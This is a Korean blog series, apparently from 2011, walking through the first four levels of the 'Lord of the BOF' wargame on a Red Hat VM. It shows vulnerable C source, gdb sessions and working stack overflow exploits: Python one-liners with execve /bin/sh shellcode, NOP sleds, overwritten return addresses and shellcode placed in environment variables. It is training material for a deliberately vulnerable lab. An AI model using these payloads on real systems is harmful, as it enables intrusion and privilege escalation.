2011. 6. 2. 02:36

⊙ 문제의 소스를 보자)

[goblin@localhost goblin]$ cat orc.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orc

- egghunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ egghunter라는 주석에서 알 수 있듯이 환경변수(environment)를 전부 0으로 초기화 합니다.

즉, (LEVEL2 && LEVEL3)처럼 환경변수를 이용 할 수 없습니다.

+ if문을 통해 argv[1][47]가 "\xbf" 가 아니면 종료한다.

그러나 [buffer(40] + [EBP(4)] + [RET(4)] 이므로 결국 RET주소에 마지막에 "\x??\x??\x??\xbf"로 끝나면 되겠네요.

+ 어차피 [LEVEL1]과 틀린 점은 버퍼가 줄었다는 것 밖에 없습니다.

해당 셸코드는 24Byte이고 44Byte의 여유 공간(buffer[40Byte] + EBP[4Byte])이 있으므로 LEVEL1과 같이

BUFFER에 셸코드(ShellCode)를 삽입하여 문제를 풀수 있겠네요.


   

   

1) GDB로 RET 주소를 구해보자.

① 먼저 권한이 없으므로 해당 사본을 만듭니다.

# cp orc cro

   

② 디버깅을 위해 argv[1][47]이 "\xbf"가 통과 되도록 테스트 문을 만듭니다.

(공격문과 테스트문의 길이가 같아야 같은 주소를 얻을 수 있습니다)

[ Buffer(40Byte) ] + [ EBP(4Byte) ]

[ RET (4Byte) ]

[ "DDDDDDDDDDDDD................" ]

["\xbf\xbf\xbf\xbf"]

$(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

   

③ 그럼 이제 GDB로 해당 RET을 덮을 buffer의 주소를 찾도록 합니다.

[goblin@localhost goblin]$ gdb -q cro

(gdb) disassemble main

Dump of assembler code for function main:

...[중략]...

0x80485b0 <main+176>: mov 0xc(%ebp),%eax

0x80485b3 <main+179>: add $0x4,%eax

0x80485b6 <main+182>: mov (%eax),%edx

0x80485b8 <main+184>: push %edx

0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax

0x80485bc <main+188>: push %eax

0x80485bd <main+189>: call 0x8048440 <strcpy>

0x80485c2 <main+194>: add $0x8,%esp

0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax

0x80485c8 <main+200>: push %eax

0x80485c9 <main+201>: push $0x8048659

0x80485ce <main+206>: call 0x8048410 <printf>

0x80485d3 <main+211>: add $0x8,%esp

0x80485d6 <main+214>: leave

   

* break point는 buffer가 복사되는 지점인 <strcpy>이후(<main+197>)로 합니다.

(gdb) break *main+197

Breakpoint 1 at 0x80485c5

   

* 이제 ② 에서 만들었던 테스트 문을 이용해 실행 합니다.

(gdb) run $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

Starting program: /home/goblin/cro $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

Breakpoint 1, 0x80485c5 in main ()

   

* 현재 스택 내용물을 보도록 하겠습니다.

(gdb) x/20xw $esp

0xbffffacc: 0x00000015 0x44444444 0x44444444 0x44444444

0xbffffadc: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffaec: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffafc: 0xbfbfbfbf 0x00000000 0xbffffb44 0xbffffb50

0xbffffb0c: 0x40013868 0x00000002 0x08048450 0x00000000

(gdb) info reg ebp

ebp 0xbffffaf8 -1073743112

+ [EBP]0xbffffaf8에 -> 0xbfbfbfbf 가 들어있는 것을 볼 수 있습니다.

+ BUFFER 의 주소는 EBP-40이 됨으로 [ 0xbffffad0 ] (0x44444444가 시작 되는 곳)가 됩니다.

  


   

   

*이제 RET주소를 덮어쓸 buffer의 주소값( 0xbffffad0 )이 구해졌으니 공격 문으로 바꿔보도록 합시다.

2) 공격문 작성.

테스트 문을 공격 문으로 바꾸자!

  

[ Buffer(40Byte) ] + [ EBP(4Byte) ] = 44Byte

[ RET (4Byte) ]

변경전

[ "DDDDDDDDDDDDD................" ]

[ "\xbf\xbf\xbf\xbf" ]

변경후

[ 셸코드(24Byte) ] + [ NOP*20 ]

[ "\xd0\xfa\xff\xbf" ]

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xd0\xfa\xff\xbf"')

   

② 이제 바뀐 공격 문으로 확인해 보자!.

허... 어찌된 일일까요..

GDB로 RET 주소(0xbffffad0)를 두 눈으로 확인했는데 Segmentation fault가 뜨네요.

* 검색결과를 인용하자면 GDB로 디버깅 하면 어딘가에 한번 복사되어 분석이 들어가기 때문에

동적으로 움직이고 있는 실제 프로세스의 주소와 GDB로 디버깅 했을 때엔 차이가 난다고 합니다.

  


   

   

[여기서 잠깐] 실행 프로세스의 주소와 vs GDB 주소 값의 차이!

① orc.c의 사본을 만들어 간단한 테스트를 해봅시다.

# cp orc.c cro.c
# vi cro.c

main(int argc, char *argv[]) {

...[중략]...

strcpy(buffer, argv[1]);

printf("[ %#x ]\n", buffer); // <---- 추가 (해당 위치의 buffer 주소값 확인.)

printf("%s\n", buffer);

}

:wq (저장후 종료)

   

② 해당 printf("[ %#x ]\n", buffer); 라인을 추가 후 컴파일 하고 다시 공격 문으로 확인해 봅시다.

# gcc cro.c -o cro

실행해 보면 [ 0xbffffae0 ]이란 주소가 보입니다.

   

③ 확인한(0xbffffae0) 리턴 주소만 다시 바꿔 확인해 보죠..

./cro $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')

네.. 이제 제대로 공격이 되었네요.

*하지만 사본(cro)이니 이따 다시 원본(cro) 바이너리 파일로 공격해 봅시다.

   

④ 결과.

프로세스 구동 중 확인한 buffer 주소 :

[ 0xbffffae0 ]

GDB로 확인한 buffer 주소 :

[ 0xbffffad0 ]

두 주소값의 차이

[ +-16 ]

  


   

3) 원본(orc) 공격 확인.

./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')

성공!!!


goblin : "hackers proof"

Posted by devanix
2011. 6. 2. 02:29

⊙ 문제의 소스를 보자)

[gremlin@localhost gremlin]$ cat cobolt.c

/*

The Lord of the BOF : The Fellowship of the BOF

- goblin

- small buffer + stdin

*/

   

int main()

{

char buffer[16];

gets(buffer);

printf("%s\n", buffer);

}


 

+ [LEVEL2]와 틀려진건 argv인자 배열이 없어지고 gets()로 인해 표준입력 받아 buffer에 저장.


   

대략적인 구성은 LEVEL2와 같으므로 바로 본론으로 들어갑니다.

1) 셸코드를 환경변수로....

① 그럼 일단 올려보고 확인해 봅시다.

export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

+ env 명령으로 해당 환경변수를 확인할수 있습니다.


   

2) 환경변수 주소를 알아보자! [Level2 참조]

[gremlin@localhost gremlin]$ ./getenv SHCODE

0xbfffff06


   

   

3) 공격문 작성

buffer[16]

EBP[4]

RET[4]

가비지값

가비지값

우리가 올린 해당 환경 변수 주소

(python -c 'print "D"*20 + "\x06\xff\xff\xbf"'; tee) | ./goblin

완료!!


   

[여기서 잠깐] 왜! tee를 사용하는가.

① # tee | sh 실행으로 간단한 테스트를 해보자

+ 이와 같이 tee와 파이프가"|" 동등한 자식프로세스로 연결되면서

tee의 입력 받은 라인이 파이프를 통해 쉘(Shell)로 전달 된다.
 

② Level3의 공격문의 이해

+ 즉 위의 그림과 같이 (python 인터프리터 공격문 ; tee) | ./goblin 을 실행하면

소괄호"()" 로 그룹화 하여 하나의 명령문으로 서브쉘 에서 실행한다.

+ ①번과 같이 tee와 파이프가 연결되어 있으므로 셸코드를 실행시키자 마자 죽지 않고
tee가 표준입력으로부터 입력을 기다린다.

+ 입력 받은 라인은 다시 표준 출력 함으로써 명령문(my-pass)을 실행시킬 수 있다.

   

*표준입력으로부터 읽어서 표준출력은 할수 있는 명령어면 다 가능하다 (예: cat)


cobolt : "hacking exposed"

Posted by devanix
2011. 6. 2. 02:24

⊙ 문제의 소스를 보자)

[gremlin@localhost gremlin]$ cat cobolt.c

/*

The Lord of the BOF : The Fellowship of the BOF

- cobolt

- small buffer

*/

   

int main(int argc, char *argv[])

{

char buffer[16];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ [LEVEL1]과 틀려진 거라곤 버퍼 크기가 작아진 것 밖에 없습니다.

+ 따라서 환경변수에 셸코드를 올려놓고, RET주소를 해당 환경변수로 합니다.


   

대략적인 구성은 LEVEL1과 같으므로 바로 바로 셸코드를 환경변수에 올려봅시다.

1) 셸코드를 환경변수로....

①셸코드를 환경변수로 올리기 전에 우리가 사용되는 메모리 공간을 봅시다.

[해당 원문 참조]

   

② 우리가 셸코드를 올리게 되는 곳이 저 스택영역 안에 환경변수가 사용되는 메모리 공간입니다.

Environment

여기에 셸코드 삽입.

Arguments

argv

argc

RET

우리가 셸코드를 올린 해당 환경변수 주소.

EBP

쓰레기값

buffer[16]

쓰레기값

...[중략]...

  

   

② 그럼 일단 올려보고 확인해 봅시다.

export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

+ env 명령으로 해당 환경변수를 확인할수 있습니다.

  


   

2) 환경변수 주소를 알아보자!

① C언어 getenv()를 이용하자.
#include <stdio.h>

   

int main(int argc, char *argv[]) {

printf ("%p\n", getenv(argv[1]));

return 0;

}

   

② 해당소스를 컴파일

# gcc getenv.c -o getenv

   

③ 전체 경로의 파일이름 길이가 같아야 정확한 해당주소를 받아 올 수 있으므로

해당 cobolt 바이너리 파일과 같은 위치에 있도록 하자. (이름 길이도 같음)

④ 만든 getenv를 이용하여 올린 셸코드의 주소를 알아내자.

[gremlin@localhost gremlin]$ ./getenv SHCODE

0xbfffff03


   

3) 공격문 작성

buffer[16]

EBP[4]

RET[4]

가비지값

가비지값

셸코드가 올라가 있는 해당 환경 변수 주소

./cobolt $(python -c 'print "D"*20 + "\x03\xff\xff\xbf"')

완료!!


   

*미리 chsh로 /bin/bash2로 변경 해놓음.

gremlin : "hello bof world"

Posted by devanix
2011. 6. 2. 01:37

⊙ 문제의 소스를 보자)

[gate@localhost gate]$ cat gremlin.c
/*

The Lord of the BOF : The Fellowship of the BOF

- gremlin

- simple BOF

*/

   

int main(int argc, char *argv[])

{

char buffer[256];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ simple BOF라는 주석에서 알 수 있듯이 버퍼가 256Byte로 넉넉하다.

+ argv 인자로 문자열을 받아 strcpy()로 buffer에 복사를 한다.

+ strcpy()는 복사할 목적지 문자열에 크기를 제한하지 않음으로 Overflow가 가능하다.


   

1) 공략할 바이너리 파일을 GDB로 벗겨보자.

 (gdb) set disassembly-flavor intel

(gdb) disassemble main

Dump of assembler code for function main:

인텔문법 어셈블리 언어 설정

  

0x8048430 <main>: push %ebp

0x8048431 <main+1>: mov %ebp,%esp

함수 프롤로그 과정

(스택 프레임을 생성하는 과정)

0x8048433 <main+3>: sub %esp,0x100

0x100(10진수:256)만큼 스택공간 확보

...[중략]...

if (argc < 2) ...

0x8048456 <main+38>: mov %eax, DWORD PTR [%ebp+12]

0x8048459 <main+41>: add %eax, 4

0x804845c <main+44>: mov %edx,DWORD PTR [%eax]

0x804845e <main+46>: push %edx

0x804845f <main+47>: lea %eax,[%ebp-256]

0x8048465 <main+53>: push %eax

0x8048466 <main+54>: call 0x8048370 <strcpy>

argv주소를 eax에 복사

argv[1]

argv[1]값을 edx로 복사

strcpy 두번째 인자값을 위해 스택에 푸쉬

str주소값을 eax에 복사

strcpy 첫번째 인자값을 위해 스택에 푸쉬

strcpy (buffer, argv[1]) 호출

...[중략]....

printf("%s\n", buffer);

0x8048482 <main+82>: leave

0x8048483 <main+83>: ret

함수 에필로그 과정
(스택프레임을 제거하는 과정)

*권한이 없으므로 tmp폴더 생성후 바이너리 파일 복사.

① buffer[256]과 같이 정확히 0x100(10진수:256)Byte만큼 스택공간을 확보, 즉 더미(dummy)는 없습니다.

② 쉘코드를 buffer에 삽입후 RET주소를 buffer의 주소([%ebp-256])로 넣습니다.

③ buffer시작 주소부터 RET의 시작주소 까지의 오프셋 :: buffer(256) + EBP(4) :: RET
 

[여기서 잠깐] 왜! 더미는 없을까? -

구글링 해보니 2.96 미만의 gcc버전에서는 더미(dummy)가 없다고 한다.

[gate@localhost gate]$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs

gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)


   

2) GDB로 RET 주소를 구해 보자.

[gate@localhost tmp]$ gdb -q gremlin

(gdb) disassemble main

Dump of assembler code for function main:

...[중략]...

0x8048466 <main+54>: call 0x8048370 <strcpy>

0x804846b <main+59>: add $0x8,%esp

0x804846e <main+62>: lea 0xffffff00(%ebp),%eax

0x8048474 <main+68>: push %eax

0x8048475 <main+69>: push $0x80484ec

...[중략]...

(gdb) b *main+62

Breakpoint 1 at 0x804846e

(gdb) r $(python -c 'print "D"*264')

Starting program: /home/gate/tmp/gremlin $(python -c 'print "D"*264')

Breakpoint 1, 0x804846e in main ()

① argv 인자로 전달한 공격문은 strcpy()함수 이후에 buffer에 복사되기 때문에 strcpy()이후로 break를 겁니다.

② 공격문을 argv 인자전달로 넘겨주기 때문에 공격문의 길이에 따라 EBP 값이 변합니다.

따라서 Buffer(256) + EBP(4) + RET(4) = 264Byte이므로 Python 인터프리터문으로 "D"*264 전달합니다.

③ EBP값은 0xbffffa18 이므로 EBP-256(buffer길이) 빼주면 0xbffff918이 됩니다.

여기서 "D"의 ASCII코드값이 44이므로 쉽게 눈으로 확인 할 수 있습니다.

④ 대략적으로 중간 지점인 0xbffff0a8 리턴할 주소로 잡습니다.


   

3) 공격에 사용할 쉘코드 작성. [참조1] [참조2]

.global main

main:

/* int execve(const char *filename, char *const argv[], char *const envp[]) */

xor %eax, %eax         ;# eax를 0으로

push %eax ;# 문자열 종결을 위해 널을 푸시

push $0x68732f2f ;# "//sh"를 스택에 푸시

push $0x6e69622f ;# "/bin"를 스택에 푸시

mov %esp, %ebx         ;# esp에서 "/bin//sh"의 주소를 가져와 ebx에 쓴다.

push %eax ;# 32비트 널 종결자를 스택에 푸시

push %ebx ;# 널 종결자 위에 문자열 주소를 푸시

mov %esp, %ecx         ;# 문자열 포인터가 있는 인자 배열

cdq ;# eax에서 부호 비트를 가져와 edx를 0으로

mov $0xb, %al ;# 시스템 콜 11번 (execve)

int $0x80

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"


   

4) Python 인터프리터 공격문 작성

NOP 썰매(200Byte)

셸코드(24Byte)

NOP 썰매(36Byte)

RET(4Byte)

./gremlin $(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\xa8\xf9\xff\xbf"')

   

특이사항)

① 이와 같이 셸코드 오른쪽엔 어떠한 값(NOP썰매)이 최소 16Byte이여야 한다.

NOP 썰매(228Byte)

셸코드(24Byte)

NOP 썰매(8Byte)

RET(4Byte)

(X)

NOP 썰매(224Byte)

셸코드(24Byte)

NOP 썰매(12Byte)

RET(4Byte)

(X)

NOP 썰매(220Byte)

셸코드(24Byte)

NOP 썰매(16Byte)

RET(4Byte)

(O)

NOP 썰매(216Byte)

셸코드(24Byte)

NOP 썰매(20Byte)

RET(4Byte)

(O)

   

② 꼭 NOP썰매가 아니더라도 특정한 영문자도 되더라.

"A"*(212Byte)

셸코드(24Byte)

"A"*(24Byte)

RET(4Byte)

(O)

"B"*(208Byte)

셸코드(24Byte)

"B"*(28Byte)

RET(4Byte)

(O)

"C"*(204Byte)

셸코드(24Byte)

"C"*(32Byte)

RET(4Byte)

(O)

"Z"*(200Byte)

셸코드(24Byte)

"Z"*(36Byte)

RET(4Byte)

(O)

  


   

5) 이제 적을 물리쳐 보자!

   

어찌된 일인지 GDB로 확인해 봅시다.

   

0xbffffa6c를 보면 리턴주소가 0x4000f9a8 되어있습니다.

분명 리턴 주소는 0xbffff9a8이 였는데 말이죠..

어찌된 일 일까요? 해당 사이트를 검색해 보았습니다. [원본 위치]

구버젼의 bash에 실행 파일의 인자로 전달되는 값들 중 0xff를 인식하지 못하는 버그가 있습니다.

따라서 C언어의 exec* 계열 함수를 호출하여 인자를 넘기시거나 업그레이드 버젼인 /bin/bash2를
실행하시면 문제가 해결됩니다.

   

[gate@localhost gate]$ /bin/bash -version

/bin/bash -version

GNU bash, version 1.14.7(1)

   

[gate@localhost gate]$ /bin/bash2 -version

GNU bash, version 2.03.8(1)-release (i386-redhat-linux-gnu)

Copyright 1998 Free Software Foundation, Inc.

   

자그럼 bash2로 변환후 다시 해보죠..

이제 되네요.. 성공!!


 

   

   

--) 공격 구성 순서 정리.

① 권한문제로 tmp 폴더 생성후 gramlin 복사. :: # mkdir tmp && cp gramlin tmp

② GDB를 통해 버퍼크기와 더미존재 여부 확인.

③ GDB로 RET주소를 구하자.

  • 버퍼크기가 256Byte나 되므로 쉘코드를 버퍼에 삽입후 RET주소를 buffer의 주소로 바꾼다.

④ 공격에 사용할 쉘코드 작성
⑤ Python 인터프리터 공격문 작성

⑥ bash2 && 공격


*(앞으로 모든 레벨에서의 쉘은 chsh명령으로 /bin/bash2로 변경)

gate : "gate"

Posted by devanix
2011. 5. 29. 20:15

1) 만약을 위한 Root 비빌번호를 바꾸자.

LILO boot : linux single (싱글 부팅)

bash# passwd

New UNIX password: ******

Retype new UNIX password: ******

passwd: all authentication tokens updated successfully

   

2) netconfig 명령으로 네트워크 설정

① $ netconfig -> Yes

   

② Vmware에서 NAT Settings에서 [Gateway IP] 확인

[Vmware] - [Edit] - [Virtual Network Editor...] - [Vmnet8(NAT)] - [NAT Settings...]

   

③ 아래와 같이 자기에 맞게 셋팅

   

④ ping 확인

  

   

3) Putty 설정 및 접속

 

dPutty 다운로드 링크

   

이제 신나는 BOF원정 go~ go~

Posted by devanix
2011. 5. 29. 20:11

[BOF-BufferOverflow- 원정대란?]
비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 
수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다.

[접속 방법]
BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다.
따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다.

[다운로드]
1. 다음 Vmware 이미지를 다운받아 부팅한다.
http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip
2. gate/gate로 로그인한다.
3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨습니다)
4. ip를 확인한다. (/sbin/ifconfig)
5. putty, xshell등으로 터미널 접속하여 문제 풀이를 시작한다. (telnet)

[기본 룰]
1. single boot 금지
2. root exploit 금지
3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지

[레벨업 패스워드 확인]
/bin/my-pass

[전용 게시판]
http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship

[몹 리스트]
LEVEL1  (gate -> gremlin) :  simple bof
LEVEL2  (gremlin -> cobolt) : small buffer
LEVEL3  (cobolt -> goblin) : small buffer + stdin
LEVEL4  (goblin -> orc) : egghunter
LEVEL5  (orc -> wolfman) : egghunter + bufferhunter
LEVEL6  (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
LEVEL7  (darkelf -> orge) : check argv[0]
LEVEL8  (orge -> troll) : check argc
LEVEL9  (troll -> vampire) : check 0xbfff
LEVEL10 (vampire -> skeleton) : argv hunter
LEVEL11 (skeleton -> golem) : stack destroyer
LEVEL12 (golem -> darkknight) : sfp 
LEVEL13 (darkknight -> bugbear) : RTL1
LEVEL14 (bugbear -> giant) : RTL2, only execve
LEVEL15 (giant -> assassin) : no stack, no RTL
LEVEL16 (assassin -> zombie_assassin) : fake ebp
LEVEL17 (zombie_assassin -> succubus) : function calls
LEVEL18 (succubus -> nightmare) : plt
LEVEL19 (nightmare -> xavis) : fgets + destroyers
LEVEL20 (xavis -> death_knight) : remote BOF 

해당 사이트 링크
Posted by devanix